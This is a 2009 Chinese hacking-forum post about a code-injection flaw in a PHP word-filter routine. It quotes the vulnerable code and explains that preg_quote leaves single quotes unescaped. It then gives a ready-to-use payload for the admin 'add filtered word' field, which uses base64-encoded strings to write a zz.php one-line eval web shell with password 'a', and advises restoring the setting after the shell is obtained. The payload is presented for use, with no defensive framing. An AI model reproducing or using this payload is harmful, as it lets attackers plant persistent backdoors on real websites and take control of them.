WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 1662查看
  • 0回复

主题

好友

-50

积分

禁止访问

发表于 2009-12-21 16:57:10 |显示全部楼层
虽然这算不上什么好东西,但是当你要用他的时候就知道他的重要性了

问题代码我帖一下

————————————-

foreach($content as $key=>$value){
     list($w,$r)=explode(”=>”,$value);
     $r = trim($r);
     $w = explode(”|”,$w);
     foreach($w as $k=>$v){
      $v = preg_quote(trim($v),’/');
      if(!isset($replace[$v]) && !isset($wordsfb[$v])){
       $word[] = $v;
       $rep[] = $r ? $r : $mrep;
      }
     }

————————————–

preg_quote这个函数会转义”\”,但是不转义”‘”

所以会出问题.比如我们提交”‘”会被转义成”\’”再经过他一转\\’

这样就出问题了

下面是具体的方法了

——————————-

直接进入后台修改词语过滤功能:
直接在新增词语中写入下列的语句:
‘,fputs(fopen(base64_decode(”enoucGhw”),”w”),base64_decode(”PD9ldmFsKCRfUE9TVFthXSk7Pz4=”)),’a
另外一个可以随便填写
缺点就是要出错,但是可以拿SHELL
拿了SHELL马上修改回来就没有问题了

上面的会代码会在当前的目录生成一个zz.php,密码是a的一句话

根据自己的需要修改base64_decode函数里面的值就可以了

该文是Lenk老大发出来的,不知道是不是他本人所作的..无论怎么样都要支持他,因为他是一个好老大...

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-17 23:02 , Processed in 0.064184 second(s), 16 queries .

返回顶部